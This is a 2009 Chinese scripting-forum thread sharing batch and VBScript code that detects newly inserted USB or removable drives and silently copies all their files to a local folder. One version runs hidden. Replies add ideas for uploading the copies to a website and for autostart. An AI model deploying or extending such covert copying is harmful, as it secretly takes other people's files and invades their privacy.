标题: 批处理判断U盘已插入并自动复制所有内容 [打印本页]
作者: Batcher 时间: 2009-3-17 21:03 标题: 批处理判断U盘已插入并自动复制所有内容
方案一:原来写了有两个版本,一个用了SLEEP,一个用ping,功能都是一样滴,现在我把两个综合了,在,没有SLEEP的情况下照常使用!
其他的情况看说明!希望高手修改加精!
按照惯例,源码是公开的,大家可以修改,但在可能的情况下尽量保持原作者的信息,这不仅是对别人劳动成果的尊重,也是做人的基本道理。。。
copy.cmd- @echo off
- title $$$$*晗*晗*制*造*$$$$
- mode con: cols=14 lines=1
- :again
- cls
- del /Q /f "%temp%\copy.tmp" >nul 2>nul
- for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
- findstr /i "可移动驱动器" "%temp%\copy.tmp"
- if errorlevel==1 goto end
- if errorlevel==0 goto copy
- :end
- rem 没有检测到可移动磁盘!
- if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
- %temp%\sleep.exe 20s
- goto again
- :copy
- if exist c:\copy goto goon
- cd\
- cd /d c:
- md copy
- :goon
- for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
- xcopy /e /y %%i\*.* c:\copy >nul 2>nul
- )
- rem 已复制,请及时清理文件!
- if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
- %temp%\sleep.exe 20s
- goto again
复制代码
安装U盘自动复制.cmd复制代码
打包下载:[attach]1042[/attach]
方案二:其实用VBS可以完成此工作,且隐藏进行(如下例)。这个脚本的好处是,对那些识别为移动硬盘类型的U盘也可以成功复制文件。
- 1. 监视新增所有驱动器,并复制所有新驱动器中的文件到D盘下
- '随时监视插入的U盘或移动硬盘,有则自动复制其中的所有文件到d:\Tmp中
- '把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
- '注意:包括隐藏和系统属性的文件或文件夹均被复制
- '覆盖true 不覆盖false 不能覆盖具有只读属性的文件和文件夹
- '若出现多个新盘符的话,每个盘中的文件均被复制
-
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
- Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
- & "TargetInstance isa 'Win32_LogicalDisk'")
- Do While True
- Set objEvent = colEvents.NextEvent
- If objEvent.TargetInstance.DriveType = 3 Then
- If objEvent.Path_.Class = "__InstanceCreationEvent" Then
- NewDri = objEvent.TargetInstance.DeviceId
- fso.CopyFile NewDri & "\*","d:\Tmp\",true
- End If
- End If
- Loop
复制代码
2.监视新增驱动器,只复制其中第1个分区中的所有文件到D盘下- Dim NewDri(9)
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
- Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
- & "TargetInstance isa 'Win32_LogicalDisk'")
- Do While True
- Set objEvent = colEvents.NextEvent
- If objEvent.TargetInstance.DriveType = 3 Then
- If objEvent.Path_.Class = "__InstanceCreationEvent" Then
- i=i + 1
- NewDri(i) = objEvent.TargetInstance.DeviceId
- fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
- End If
- End If
- Loop
复制代码
原文地址:http://www.cn-dos.net/forum/viewthread.php?tid=25190
作者: 二手普桑 时间: 2009-3-17 21:41
Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
If objEvent.Path_.Class = "__InstanceCreationEvent" Then
i=i + 1
NewDri(i) = objEvent.TargetInstance.DeviceId
fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
End If
End If
Loop
能具体解释下么````新手学习中
作者: Batcher 时间: 2009-3-17 22:06 标题: 回复 2楼 的帖子
你可以先到VBS教学区看看教程
作者: 5566ljlj 时间: 2009-4-3 23:10
我来学习一下。
作者: qq524679427 时间: 2009-4-7 18:56
O(∩_∩)O哈哈~,收益啊 ,O(∩_∩)O谢谢
作者: i520king 时间: 2009-8-15 20:27
学习学习了
作者: a690984119 时间: 2009-9-25 21:40
ddddddddddddddddddddddddddddddd
作者: 极品小猫 时间: 2012-11-4 23:46
神作, 感谢分享, 正在找相关的小工具, 没想到先发现了批处理
作者: conglin58 时间: 2012-12-30 22:32
原来这个批处理这么早就有人写出来了!厉害!
作者: zsl200911 时间: 2013-3-19 10:27
学习学习,谢谢
作者: blessing 时间: 2013-6-13 12:30
太好了,要是能上传到指定的网站就更好了。
作者: iph111 时间: 2013-8-11 22:46
建议每次重新初始化一下选项。
作者: dirtymoney 时间: 2013-9-4 11:20
新生来提建议:加入开机启动
作者: bathhome 时间: 2013-9-28 15:18
感谢转帖,认真学习中
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |